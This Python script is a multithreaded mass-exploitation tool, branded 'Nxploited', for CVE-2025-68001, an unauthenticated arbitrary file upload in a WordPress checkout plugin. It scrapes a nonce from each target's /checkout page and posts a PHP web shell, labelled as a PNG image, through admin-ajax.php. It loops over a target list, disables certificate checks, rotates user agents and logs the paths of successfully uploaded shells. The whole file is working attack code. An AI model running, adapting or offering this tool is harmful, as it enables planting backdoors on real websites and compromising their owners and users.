import threading import requests import time import random import os import sys import json import re from queue import Queue from rich.console import Console from rich.panel import Panel from rich.progress import Progress, SpinnerColumn, BarColumn, TimeElapsedColumn, TextColumn from rich.table import Table from rich.text import Text from rich.box import MINIMAL from rich.align import Align from rich.style import Style console = Console() requests.packages.urllib3.disable_warnings() os.environ["NO_PROXY"] = "*" RESULT_FILE = "success_results.txt" MAX_THREADS = 50 DEFAULT_SHELL = "shell.php" def Nxploited_banner(): banner = ( " _ _ _ _ _ _ _ _ _ _ \n" " / \\ / |_ __ ) / \\ ) |_ __ |_ (_) / \\ / \\ /| \n" " \\_ \\/ |_ /_ \\_/ /_ _) |_) (_) \\_/ \\_/ | \n" " " ) header = Panel( Align.center( Text(banner, style=Style(color="bright_magenta", bold=True)), vertical="middle" ), border_style="magenta", padding=(1, 2), style="on #05010A" ) meta_table = Table.grid(expand=True) meta_table.add_column(justify="left", ratio=1) meta_table.add_column(justify="right", ratio=1) left_block = Text.assemble( ("CVE-2025-68001\n", Style(color="bright_magenta", bold=True)), ("Unauthenticated Arbitrary File Upload\n", Style(color="bright_white")), ("Nxploited\n", Style(color="bright_cyan", italic=True)), ) right_block = Text.assemble( ("#Nxploited\n", Style(color="magenta", bold=True)), ("github.com/Nxploited\n", Style(color="bright_blue", underline=True)), ) meta_table.add_row(left_block, right_block) meta_panel = Panel( Align.center(meta_table), border_style="bright_magenta", padding=(1, 2), style="on #05010A" ) layout_table = Table.grid(expand=True) layout_table.add_row(header) layout_table.add_row(meta_panel) console.print(layout_table) console.print() def Nxploited_mini_banner(): text = Text() text.append("Nxploited", style=Style(color="magenta", bold=True)) text.append(" • ", style=Style(color="bright_black")) text.append("github.com/Nxploited", style=Style(color="bright_blue", underline=True)) return text def Nxploited_typewriter(text, style="white", speed=0.008): for ch in text: console.print(ch, style=style, end="", soft_wrap=False) time.sleep(speed) console.print() def Nxploited_input_targets_file(): Nxploited_typewriter("Enter targets file name (default: list.txt): ", style="yellow") file = console.input("> ").strip() return file if file else "list.txt" def Nxploited_input_shell_file(): Nxploited_typewriter(f"Enter shell file name to upload (default: {DEFAULT_SHELL}): ", style="magenta") file = console.input("> ").strip() return file if file else DEFAULT_SHELL def Nxploited_input_threads(): Nxploited_typewriter(f"Enter number of threads (default: {MAX_THREADS}): ", style="cyan") inp = console.input("> ").strip() try: n = int(inp) if n < 1: n = 1 if n > MAX_THREADS: console.print(f"[yellow]Threads exceed max: {MAX_THREADS}, capping.") n = MAX_THREADS return n except Exception: return MAX_THREADS def Nxploited_read_targets(filename): targets = [] try: with open(filename, "r", encoding="utf-8") as f: for line in f: url = line.strip() if url: targets.append(url) except Exception as e: console.print(f"[red]Error: {e}") sys.exit(1) return targets def Nxploited_write_result(data): with open(RESULT_FILE, "a", encoding="utf-8") as f: f.write(data + "\n") def Nxploited_check_checkout_reachable(base_url): ua = random.choice([ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0 Safari/537.36", "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) Gecko/20100101 Firefox/115.0" ]) base_url = base_url.rstrip("/") headers = { "User-Agent": ua, "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", } try: r = requests.get(f"{base_url}/checkout", headers=headers, timeout=15, verify=False) if r.status_code != 200: return False, None return True, r.text except Exception: return False, None def Nxploited_extract_checkout_nonce(html): if not html: return None try: m = re.search(r'fflcheckout_ajax\s*=\s*{[^}]*"checkout_nonce"\s*:\s*"([a-zA-Z0-9]+)"', html) if m: return m.group(1) except Exception: pass try: m = re.search(r'ffl_widget_data\s*=\s*{[^}]*"checkout_nonce"\s*:\s*"([a-zA-Z0-9]+)"', html) if m: return m.group(1) except Exception: pass try: m = re.search(r'checkout_nonce["\']?\s*[:=]\s*["\']([a-zA-Z0-9]+)', html) if m: return m.group(1) except Exception: pass return None def Nxploited_exploit_upload_ffl(base_url, shell_path, html_checkout=None): ua = random.choice([ "Mozilla/5.0 (Windows NT 10.0; Win64; x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64; rv:115.0) Gecko/20100101 Firefox/115.0" ]) base_url = base_url.rstrip("/") session = requests.Session() session.verify = False session.headers.update({ "User-Agent": ua, "Accept": "*/*", }) if html_checkout is None: try: r = session.get(f"{base_url}/checkout", timeout=20) html_checkout = r.text if r.status_code == 200 else "" except Exception as e: return None, f"Failed to GET /checkout: {e}" if not html_checkout: return None, "Empty /checkout response" checkout_nonce = Nxploited_extract_checkout_nonce(html_checkout) if not checkout_nonce: return None, "Failed to extract checkout_nonce" ajax_url = f"{base_url}/wp-admin/admin-ajax.php" files = {} data = { "action": "ffl_upload_document", "nonce": checkout_nonce, "document_type": "document" } try: with open(shell_path, "rb") as filedata: files["document"] = (os.path.basename(shell_path), filedata, "image/png") resp = session.post(ajax_url, data=data, files=files, timeout=25) except Exception as e: return None, f"Upload request failed: {e}" try: j = resp.json() except Exception: return None, f"Non-JSON response (status {resp.status_code}): {resp.text[:200]}" if not j.get("success"): msg = j.get("message") or j.get("data", {}).get("message") or "Unknown error" return None, f"Upload failed: {msg}" data_obj = j.get("data") or {} filename = data_obj.get("filename") file_path = data_obj.get("file_path") unique_filename = data_obj.get("unique_filename") result_info = { "filename": filename, "file_path": file_path, "unique_filename": unique_filename, "raw_json": j } return result_info, None def Nxploited_print_success_card(site, info): table = Table(box=MINIMAL, expand=True, show_header=False, pad_edge=True) left = Text.from_markup("[bold green]Success[/bold green]", justify="center") details_lines = [] details_lines.append(f"[bold #22c55e]{site}") if info.get("filename"): details_lines.append(f"[white]Original Name: [bright_green]{info['filename']}") if info.get("unique_filename"): details_lines.append(f"[white]Unique Name: [bright_green]{info['unique_filename']}") if info.get("file_path"): details_lines.append(f"[white]Stored Path: [bright_green]{info['file_path']}") details = "\n".join(details_lines) + "\n" table.add_row(left, details) card = Panel(Align.center(table), border_style="green", padding=(1, 2), style="on #0F0716") console.print(card) def Nxploited_printer_loop(queue, progress_task_id, progress): while True: res = queue.get() if res is None: break typ = res[0] if typ == "info": console.print(res[1]) elif typ == "success": _, site, info = res Nxploited_print_success_card(site, info) elif typ == "failed": console.print(f"[red]{res[1]} => Exploit failed ❌") if progress and progress_task_id is not None: try: progress.advance(progress_task_id) except Exception: pass def Nxploited_worker(thread_id, targets_chunk, shell_file, out_queue, progress_task_id, progress): for site in targets_chunk: site = site.strip() if not site: continue if not site.startswith("http://") and not site.startswith("https://"): site = "http://" + site reachable, html = Nxploited_check_checkout_reachable(site) if not reachable: out_queue.put(("info", f"{site}: /checkout not reachable or not 200")) out_queue.put(("failed", site)) continue out_queue.put(("info", f"[blue]{site}: /checkout reachable. Trying exploit...")) info, err = Nxploited_exploit_upload_ffl(site, shell_file, html_checkout=html) if info and not err: line = f"{site} | {info.get('file_path')} | {info.get('unique_filename')} | {info.get('filename')}" Nxploited_write_result(line) out_queue.put(("success", site, info)) else: reason = err or "Unknown error" out_queue.put(("failed", f"{site} ({reason})")) out_queue.put(("info", f"Thread {thread_id} finished")) def Nxploited_chunkify(lst, n): if n <= 0: n = 1 return [lst[i::n] for i in range(n)] def Nxploited(): console.clear() Nxploited_banner() console.print(Nxploited_mini_banner()) Nxploited_typewriter("→ Press Enter to start", style="bold magenta") console.input() targets_file = Nxploited_input_targets_file() shell_file = Nxploited_input_shell_file() num_threads = Nxploited_input_threads() if not os.path.isfile(shell_file): console.print(f"[red]Shell file not found: {shell_file}") sys.exit(1) targets = Nxploited_read_targets(targets_file) if not targets: console.print("[red]No targets found in list.") sys.exit(1) safe_threads = min(num_threads, max(1, min(MAX_THREADS, len(targets)))) queue = Queue() progress = Progress( SpinnerColumn(), TextColumn("[progress.description]{task.description}"), BarColumn(), "[cyan]{task.completed}/{task.total}", TimeElapsedColumn(), transient=True ) with progress: task_id = progress.add_task("[magenta]Processing targets...", total=len(targets)) printer = threading.Thread(target=Nxploited_printer_loop, args=(queue, task_id, progress), daemon=True) printer.start() chunks = Nxploited_chunkify(targets, safe_threads) threads = [] for i in range(safe_threads): th = threading.Thread( target=Nxploited_worker, args=(i, chunks[i], shell_file, queue, task_id, progress), daemon=True ) th.start() threads.append(th) for th in threads: th.join() queue.put(None) printer.join() console.print(Panel.fit( f"[bright_magenta]All targets processed ✔️. Results saved to: [bold magenta]{RESULT_FILE}[/]", title="[magenta]Done!", style="black on bright_magenta", border_style="bright_magenta", padding=(1, 2) )) if __name__ == "__main__": Nxploited()